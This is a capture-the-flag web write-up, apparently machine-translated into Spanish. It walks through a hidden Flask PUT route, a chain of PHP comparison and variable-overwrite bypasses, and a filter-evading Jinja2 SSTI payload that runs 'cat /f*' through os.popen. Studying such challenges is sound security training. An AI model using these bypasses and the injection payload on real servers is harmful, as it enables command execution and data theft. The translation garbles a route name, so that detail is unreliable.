web
odio comer serpiente
Encuentre js para la pregunta del juego, simplemente elimine la declaración de juicio
ezweb
Mire el código fuente para encontrar la ruta /src, busque el código fuente
import flask
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')
@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')
@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()
Use PUT para acceder a la ruta /super-secret-route-nadie-will-guess
no puedo soportarlo
código fuente
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $f1ag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
alrededor de la sentencia if
El primero: fuerte comparación de md5, la matriz puede omitir gdou[]=1&ctf[]=2
El segundo: pasar Cookie: cookie=j0k3r
El tercero: Comparación débil más un +: aaa=114514+&bbb=114514
Cuarto: mientras la bandera no esté vacía: post: flag=1 GET: flag=1
ESTA ES LA WEB
mira el marco
matraz, en su mayoría ssti, pruébelo
Ejecute el diccionario fuzz para ver que solo estos no se filtren
Ver el error es jinja2
Puedes usar las funciones nativas de jinja2attr
Lo que queremos construir es
{
%print config|attr('__class__')|attr(__init__)|attr('__globals__')|attr('__getitem__')('o'+'s')|attr('popen')('cat /f*')|attr('read')()%}
Pero () dentro se filtran
Se puede usar format
, salida de cadena formateada
Por ejemplo
attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))
es equivalente a
attr('__class__')
Entonces puedes evitarlo de esta manera
descarga final
{
%print config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'+'s')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('cat /f*')|attr('%c%c%c%c'|format(114,101,97,100))()%}